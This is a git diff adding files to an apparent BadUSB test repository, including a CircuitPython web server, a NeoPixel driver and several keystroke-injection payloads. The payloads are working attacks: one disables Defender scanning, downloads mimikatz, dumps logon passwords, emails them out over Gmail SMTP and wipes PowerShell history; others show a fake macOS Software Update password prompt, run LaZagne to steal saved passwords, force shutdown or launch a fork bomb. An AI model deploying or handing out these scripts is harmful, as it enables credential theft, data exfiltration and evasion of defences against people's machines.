z7`8}3bvFW8xf}Qc36L;BBH~^>IbuO~Nb+YF-9Nkd+|MpjX#Cn*eJv4G-wXf8;&KTp3Ib)q2 zLnFuBBd;H0dQQjPC)}t8n7SL?iqQyQ@p~j{z7$mTH{H2=@BVcPQZ{NLn_d3?pz8iG zjVU}?tN?$Yh(*{_aj^2d=6psv+#aljeJgeyY$Rwfc;@Tqg(qP zq7SJ$a_w8Fqp#sZi6U&Ix(B85t57O`CR!iKs#3I9+Bvvt5IzsTFMM2l_&F{ScVNV| z->s1YSA$FHFHU|LGb54eyK$|2y;fZfYA1#%;C=vLo=^1v0^-Ezmzd#yi4Flz6E{ey z_XuWX6mC$!4dEukPM8T51MnC#q8rpscgjiPDBOyr0idx-n7}(ZNk%VKMI;#JUMzG2 z$m3spytEmaUc7-*)}Br^(*n}4Y&WTIhyj(`Op-Hs*@B#AtLNM3HNmme4UfAURxiEs z&5I!BOKsmkUHkGxv?Kt5n$#rR7N>$I$gXW_q)0R3)7?E-v2NwN0P zHK#@Lx~?Vwy5V5~RQ_|A19b?A`{9Fo-|?>Rkh+~_GDY)f;xPibg|9E=Ws;WB7sey8orC0El=i;9#K}~~ z=-|=8@xfhWMI(YH$DS`A^uN8htlN#erH(wH?glOZ%%v($Gtjrzl-_W;yk3khp<63w zRDiWD$yo?0W$P|*0Zvr5qAQ{u(x_E3etBdFMuub%r{GVLpW&qSO9$6gR9jo=Et+{1 z#Vi1d+9(acSP1*+VFr5xK%fJ{`j1Tr9K#}iv12t39zStx@K}JTOvU5tUe!;rv&aXS zFjj-|v}k|)o0YcT{(^n%&PoS}r&{+S@P+S2en+a literal 0 HcmV?d00001 diff --git a/Alex-Test/lib/ampule.py b/Alex-Test/lib/ampule.py new file mode 100644 index 0000000..34cdb1b --- /dev/null +++ b/Alex-Test/lib/ampule.py @@ -0,0 +1,132 @@ +import io +import re + +BUFFER_SIZE = 256 +TIMEOUT = 30 +routes = [] +variable_re = re.compile("^<([a-zA-Z]+)>$") + +class Request: + def __init__(self, method, full_path): + self.method = method + self.path = full_path.split("?")[0] + self.params = Request.__parse_params(full_path) + self.headers = {} + self.body = None + + @staticmethod + def __parse_params(path): + query_string = path.split("?")[1] if "?" in path else "" + param_list = query_string.split("&") + params = {} + for param in param_list: + key_val = param.split("=") + if len(key_val) == 2: + params[key_val[0]] = key_val[1] + return params + + +def __parse_headers(reader): + headers = {} + for line in reader: + if line == b'\r\n': break + title, content = str(line, "utf-8").split(":", 1) + headers[title.strip().lower()] = content.strip() + return headers + +def __parse_body(reader): + data = bytearray() + for line in reader: + if line == b'\r\n': break + data.extend(line) + return str(data, "utf-8") + +def __read_request(client): + message = bytearray() + client.settimeout(30) + socket_recv = True + + try: + while socket_recv: + buffer = bytearray(BUFFER_SIZE) + client.recv_into(buffer) + start_length = len(message) + for byte in buffer: + if byte == 0x00: + socket_recv = False + break + else: + message.append(byte) + except OSError as error: + print("Error reading from socket", error) + + reader = io.BytesIO(message) + line = str(reader.readline(), "utf-8") + (method, full_path, version) = line.rstrip("\r\n").split(None, 2) + + request = Request(method, full_path) + request.headers = __parse_headers(reader) + request.body = __parse_body(reader) + + return request + +def __send_response(client, code, headers, data): + headers["Server"] = "Ampule/0.0.1-alpha (CircuitPython)" + headers["Connection"] = "close" + headers["Content-Length"] = len(data) + + response = "HTTP/1.1 %i OK\r\n" % code + for k, v in headers.items(): + response += "%s: %s\r\n" % (k, v) + response += "\r\n" + data + "\r\n" + + client.send(response) + +def __on_request(method, rule, request_handler): + regex = "^" + rule_parts = rule.split("/") + for part in rule_parts: + # Is this portion of the path a variable? + var = variable_re.match(part) + if var: + # If so, allow any alphanumeric value + regex += r"([a-zA-Z0-9_-]+)\/" + else: + # Otherwise exact match + regex += part + r"\/" + regex += "?$" + routes.append( + (re.compile(regex), {"method": method, "func": request_handler}) + ) + +def __match_route(path, method): + for matcher, route in routes: + match = matcher.match(path) + if match and method == route["method"]: + return (match.groups(), route) + return None + +def listen(socket): + try: + client, remote_address = socket.accept() + client.settimeout(1) + + request = __read_request(client) + match = __match_route(request.path, request.method) + if match: + args, route = match + status, headers, body = route["func"](request, *args) + __send_response(client, status, headers, body) + else: + __send_response(client, 404, {}, "Not found") + except OSError as e: + print("Timed Out, continuing") + return + except BaseException as e: + print("Error with request:", e) + __send_response(client, 500, {}, "Error processing request") + + client.close() + +def route(rule, method='GET'): + return lambda func: __on_request(method, rule, func) diff --git a/Alex-Test/lib/base64.mpy b/Alex-Test/lib/base64.mpy new file mode 100644 index 0000000000000000000000000000000000000000..0a4b2ce244f2fe00c2952d7f476e93c4c89a06fb GIT binary patch literal 372 zcmX|-!AiqG6h+@eN=-4PrZFI*9j%BUR0tuir7qg;f{M5(<76^zf@wyQ30OBy7yX~Q zblETQS8SW=?ko=X-uJo{t%YX~yC+cfXh=s{5lccpij2oXUI#Sip4)kwzF^htz0UP{ z9h84`_HPDpN^=&+cH@s4X5hIzWg_Go4EY+bG`mg+O%g&JusbA}N}iKZCMKj5NJu4h zkX>~&yXrI8nZ18&R>e@q?dLZ13|Lru+tk{o(L-#|f+rKsf9`Cx?AO4An>KRM*U0ym zmuNUZF!ULM-F0&A<}!=ZF{atLnDA8MJQ76`VkS~a;}nZDnc~~~ZoiLNL^H}H&+_Qd zG<0>LR@wWO6*!cX4_SD~|Lkaw44@%JIV(Cfo4Rt90j6$Q)Csn(d9ZNNYV1ZWZ~X= 7 + and getattr(board, "NEOPIXEL", None) == pin + ): + power = getattr(board, "NEOPIXEL_POWER_INVERTED", None) + polarity = power is None + if not power: + power = getattr(board, "NEOPIXEL_POWER", None) + if power: + try: + self._power = digitalio.DigitalInOut(power) + self._power.switch_to_output(value=polarity) + except ValueError: + pass + + super().__init__( + n, brightness=brightness, byteorder=pixel_order, auto_write=auto_write + ) + + self.pin = digitalio.DigitalInOut(pin) + self.pin.direction = digitalio.Direction.OUTPUT + + def deinit(self) -> None: + """Blank out the NeoPixels and release the pin.""" + self.fill(0) + self.show() + self.pin.deinit() + if self._power: + self._power.deinit() + + def __enter__(self): + return self + + def __exit__( + self, + exception_type: Optional[Type[BaseException]], + exception_value: Optional[BaseException], + traceback: Optional[TracebackType], + ): + self.deinit() + + def __repr__(self): + return "[" + ", ".join([str(x) for x in self]) + "]" + + @property + def n(self) -> int: + """ + The number of neopixels in the chain (read-only) + """ + return len(self) + + def write(self) -> None: + """.. deprecated: 1.0.0 + + Use ``show`` instead. It matches Micro:Bit and Arduino APIs.""" + self.show() + + def _transmit(self, buffer: bytearray) -> None: + neopixel_write(self.pin, buffer) diff --git a/Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer (4th copy).txt b/Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer (4th copy).txt new file mode 100644 index 0000000..45df513 --- /dev/null +++ b/Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer (4th copy).txt @@ -0,0 +1,34 @@ +REM Title: PwnKit Cred Changer +REM Author: Alex Lynd +REM Description: Changes root creds using the PwnKit exploit, disables keyboard / mouse, delivers a devastating rickroll payload. +REM Target: Linux (Bash) +REM Props: Hak5, HakCat +REM Version: 1.0 +REM Category: Prank + +CTRL ALT T +DELAY 2000 + +REM disable mouse +STRING xinput float 12 +ENTER + + +REM download annoying payload + +REM STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh +ENTER +DELAY 1000 +STRING chmod +x linux-color-flasher.sh +ENTER +STRING ./linux-color-flasher.sh & +ENTER +DELAY 1000 +STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ" +ENTER +DELAY 3000 +SPACE +DELAY 1000 +STRING F + + diff --git a/Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer (another copy).txt b/Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer (another copy).txt new file mode 100644 index 0000000..45df513 --- /dev/null +++ b/Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer (another copy).txt @@ -0,0 +1,34 @@ +REM Title: PwnKit Cred Changer +REM Author: Alex Lynd +REM Description: Changes root creds using the PwnKit exploit, disables keyboard / mouse, delivers a devastating rickroll payload. +REM Target: Linux (Bash) +REM Props: Hak5, HakCat +REM Version: 1.0 +REM Category: Prank + +CTRL ALT T +DELAY 2000 + +REM disable mouse +STRING xinput float 12 +ENTER + + +REM download annoying payload + +REM STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh +ENTER +DELAY 1000 +STRING chmod +x linux-color-flasher.sh +ENTER +STRING ./linux-color-flasher.sh & +ENTER +DELAY 1000 +STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ" +ENTER +DELAY 3000 +SPACE +DELAY 1000 +STRING F + + diff --git a/Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer (copy).txt b/Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer (copy).txt new file mode 100644 index 0000000..45df513 --- /dev/null +++ b/Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer (copy).txt @@ -0,0 +1,34 @@ +REM Title: PwnKit Cred Changer +REM Author: Alex Lynd +REM Description: Changes root creds using the PwnKit exploit, disables keyboard / mouse, delivers a devastating rickroll payload. +REM Target: Linux (Bash) +REM Props: Hak5, HakCat +REM Version: 1.0 +REM Category: Prank + +CTRL ALT T +DELAY 2000 + +REM disable mouse +STRING xinput float 12 +ENTER + + +REM download annoying payload + +REM STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh +ENTER +DELAY 1000 +STRING chmod +x linux-color-flasher.sh +ENTER +STRING ./linux-color-flasher.sh & +ENTER +DELAY 1000 +STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ" +ENTER +DELAY 3000 +SPACE +DELAY 1000 +STRING F + + diff --git a/Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer.txt b/Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer.txt new file mode 100644 index 0000000..45df513 --- /dev/null +++ b/Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer.txt @@ -0,0 +1,34 @@ +REM Title: PwnKit Cred Changer +REM Author: Alex Lynd +REM Description: Changes root creds using the PwnKit exploit, disables keyboard / mouse, delivers a devastating rickroll payload. +REM Target: Linux (Bash) +REM Props: Hak5, HakCat +REM Version: 1.0 +REM Category: Prank + +CTRL ALT T +DELAY 2000 + +REM disable mouse +STRING xinput float 12 +ENTER + + +REM download annoying payload + +REM STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh +ENTER +DELAY 1000 +STRING chmod +x linux-color-flasher.sh +ENTER +STRING ./linux-color-flasher.sh & +ENTER +DELAY 1000 +STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ" +ENTER +DELAY 3000 +SPACE +DELAY 1000 +STRING F + + diff --git a/Alex-Test/payloads/Linux/prank/meow.txt b/Alex-Test/payloads/Linux/prank/meow.txt new file mode 100644 index 0000000..45df513 --- /dev/null +++ b/Alex-Test/payloads/Linux/prank/meow.txt @@ -0,0 +1,34 @@ +REM Title: PwnKit Cred Changer +REM Author: Alex Lynd +REM Description: Changes root creds using the PwnKit exploit, disables keyboard / mouse, delivers a devastating rickroll payload. +REM Target: Linux (Bash) +REM Props: Hak5, HakCat +REM Version: 1.0 +REM Category: Prank + +CTRL ALT T +DELAY 2000 + +REM disable mouse +STRING xinput float 12 +ENTER + + +REM download annoying payload + +REM STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh +ENTER +DELAY 1000 +STRING chmod +x linux-color-flasher.sh +ENTER +STRING ./linux-color-flasher.sh & +ENTER +DELAY 1000 +STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ" +ENTER +DELAY 3000 +SPACE +DELAY 1000 +STRING F + + diff --git a/Alex-Test/payloads/Mac/Phish/Phish.txt b/Alex-Test/payloads/Mac/Phish/Phish.txt new file mode 100644 index 0000000..716ae39 --- /dev/null +++ b/Alex-Test/payloads/Mac/Phish/Phish.txt @@ -0,0 +1,49 @@ +#!/bin/bash +# +# Title: Mac Password Phisher +# Author: Ahhh +# Version: 1.0 +# +# Prompts for user password, writes response to the bunny +# +# Blue...............Starting +# Amber..............Executing payload +# Green..............Finished +# + +LED B + +LANGUAGE='us' +lootdir=loot/MacLoot + +# Gimme a Keyboard please. Thanks. +ATTACKMODE HID STORAGE +LED R G + +mkdir -p /root/udisk/$lootdir + +# Get a terminal +QUACK DELAY 400 +QUACK GUI SPACE +QUACK DELAY 300 +QUACK STRING terminal +QUACK DELAY 200 +QUACK ENTER +QUACK DELAY 400 + +# Make lootdir +QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/phish +QUACK ENTER +QUACK DELAY 200 +QUACK ENTER + +# Execute Payload +QUACK STRING osascript -e \'tell app \"System Preferences\" to activate\' -e \'tell app \"System Preferences\" to activate\' -e \'tell app \"System Preferences\" to display dialog \"Software Update requires that you type your password to apply changes.\" \& return \& return default answer \"\" with icon 1 with hidden answer with title \"Software Update\"\'\>/Volumes/BashBunny/$lootdir/phish/pw.txt\; sleep 20\; killall Terminal\; +QUACK ENTER +QUACK DELAY 1000 + +# Sync filesystem +sync + +# Green is the official Light of "finished" +LED G \ No newline at end of file diff --git a/Alex-Test/payloads/Mac/Recon/PasswordStealer.txt b/Alex-Test/payloads/Mac/Recon/PasswordStealer.txt new file mode 100644 index 0000000..1eedf16 --- /dev/null +++ b/Alex-Test/payloads/Mac/Recon/PasswordStealer.txt @@ -0,0 +1,44 @@ +#!/bin/bash +# +# Title: Mac Password Grabber +# Author: Overtimedev +# Version: 1.0 +# +# Steals Passwords Mac using laZagne.py then stashes them in /root/udisk/loot/MacPass +# s(Replace PASSWORD, with your vicims mac computer password in payload.txt) +# +# Amber..............Executing payload +# Green..............Finished +# + +LED G R +ATTACKMODE HID STORAGE + +lootdir=loot/MacPass +mkdir -p /root/udisk/$lootdir + +QUACK GUI SPACE +QUACK DELAY 1000 +QUACK STRING terminal +QUACK ENTER +QUACK DELAY 3000 +QUACK STRING cd /Volumes/BashBunny/ +QUACK ENTER +QUACK DELAY 1000 +QUACK STRING python get-pip.py +QUACK ENTER +QUACK DELAY 3000 +QUACK STRING pip install -r requirements.txt +QUACK ENTER +QUACK DELAY 3000 +QUACK STRING python laZagne.py all -password PASSWORD -oN -output loot/MacPass +QUACK ENTER +QUACK DELAY 10000 +QUACK STRING killall Terminal +QUACK ENTER + +# Sync filesystem +sync + +# Green LED for finished +LED G diff --git a/Alex-Test/payloads/Windows/Creds/SimpleUserPasswordGrabber.txt b/Alex-Test/payloads/Windows/Creds/SimpleUserPasswordGrabber.txt new file mode 100644 index 0000000..db7487e --- /dev/null +++ b/Alex-Test/payloads/Windows/Creds/SimpleUserPasswordGrabber.txt @@ -0,0 +1,96 @@ +REM Title: windows password grabber +REM Arthor makozort, https://github.com/makozort +REM Target: windows 10 (with admin access), might work with windows 7 idk +REM THIS IS FOR AUTHORISED USE ON MACHINES YOU EITHER OWN OR HAVE BEEN GIVEN ACCESS TO PEN TEST, MAKOZORT IS NO LIABLE FOR ANY MISUSE OF THIS SCRIPT +REM --------------set default delay based on targets computer speed, 350 is around mid range (I think) +DEFAULT_DELAY 350 +REM -------------first delay is 1 second (you may need more) to let windows set up the "keyboard" +DELAY 1000 +REM ------------open powershell as admin and set an exclusion path in the C:\Users path +GUI r +STRING powershell +CTRL-SHIFT ENTER +DELAY 600 +ALT y +STRING Set-MpPreference -ExclusionPath C:\Users +ENTER +STRING exit +ENTER +REM -------------download mimikatz +GUI r +STRING cmd +CTRL-SHIFT ENTER +DELAY 600 +ALT y +STRING powershell (new-object System.Net.WebClient).DownloadFile('LINK TO MIMIKATZ.EXE DOWNLOAD HERE','%temp%\pw.exe') +ENTER +REM ------------run the following mimikatz commands and print results in new txt file +DELAY 4000 +STRING %TEMP%\pw.exe > c:\pwlog.txt & type pwlog.txt; +ENTER +STRING privilege::debug +ENTER +STRING sekurlsa::logonPasswords full +ENTER +STRING exit +ENTER +REM< --------- delete mimikatz +STRING del %TEMP%\pw.exe +ENTER +STRING exit +ENTER +REM -------------email the pwlog.txt to your email +GUI r +STRING powershell +CTRL-SHIFT ENTER +DELAY 600 +ALT y +STRING Remove-MpPreference -ExclusionPath C:\Users +ENTER +STRING $SMTPServer = 'smtp.gmail.com' +ENTER +STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587) +ENTER +STRING $SMTPInfo.EnableSsl = $true +ENTER +STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('THE-PART-OF-YOUR-EMAIL-BEFORE-THE-@ +SHIFT 2 +STRING gmail.com', 'PASSWORDHERE'); +ENTER +STRING $ReportEmail = New-Object System.Net.Mail.MailMessage +ENTER +STRING $ReportEmail.From = 'THE-PART-OF-YOUR-EMAIL-BEFORE-THE-@ +SHIFT 2 +STRING gmail.com' +ENTER +STRING $ReportEmail.To.Add('THE-PART-OF-RECEIVERS-EMAIL-BEFORE-THE-@ +SHIFT 2 +STRING gmail.com') +ENTER +STRING $ReportEmail.Subject = 'Hello from the ducky' +ENTER +STRING $ReportEmail.Body = 'Attached is your duck report.' +ENTER +STRING $ReportEmail.Attachments.Add('c:\pwlog.txt') +ENTER +STRING $SMTPInfo.Send($ReportEmail) +ENTER +DELAY 4000 +STRING exit +ENTER +REM ------cleanup time +GUI r +STRING powershell +CTRL-SHIFT ENTER +DELAY 600 +ALT y +REM ----------delete the txt file +STRING del c:\pwlog.txt +ENTER +REM -------remove powershell history (this probably wont be enough to remove all traces of you, this is just to prevent inital investigations +STRING Remove-Item (Get-PSreadlineOption).HistorySavePath +ENTER +STRING exit +ENTER +REM ------lock the pc +GUI l diff --git a/Alex-Test/payloads/Windows/Creds/fastshutdown.txt b/Alex-Test/payloads/Windows/Creds/fastshutdown.txt new file mode 100644 index 0000000..cf7383d --- /dev/null +++ b/Alex-Test/payloads/Windows/Creds/fastshutdown.txt @@ -0,0 +1,7 @@ +WINDOWS R +DELAY 250 +STRING cmd +ENTER +DELAY 300 +STRING shutdown /s /f /t 0 +ENTER diff --git a/Alex-Test/payloads/Windows/Prank/Forkbomb.txt b/Alex-Test/payloads/Windows/Prank/Forkbomb.txt new file mode 100644 index 0000000..0b0630b --- /dev/null +++ b/Alex-Test/payloads/Windows/Prank/Forkbomb.txt @@ -0,0 +1,14 @@ +REM HTML Fork Bomb by Jonny Banana +REM https://github.com/JonnyBanana/Rubber-Ducky_HTML_Fork-Bomb +DELAY 2000 +CONTROL ESCAPE +DELAY 200 +STRING C:\Program Files\Internet Explorer\iexplore.exe https://jonnybanana.github.io/HTML-Fork-Bomb.github.io/ +DELAY 200 +ENTER +REM set a long delay to give time to this disgusting browser +DELAY 1000 +REM it's time to enable Pop-Up +TAB +DELAY 200 +ENTER diff --git a/Alex-Test/payloads/Windows/Prank/Notepad.txt b/Alex-Test/payloads/Windows/Prank/Notepad.txt new file mode 100644 index 0000000..b2899a5 --- /dev/null +++ b/Alex-Test/payloads/Windows/Prank/Notepad.txt @@ -0,0 +1,7 @@ +REM The next four lines open Notepad in Windows and type "Hello World" +WINDOWS R +DELAY 250 +STRING notepad +ENTER +DELAY 250 +STRING Hello World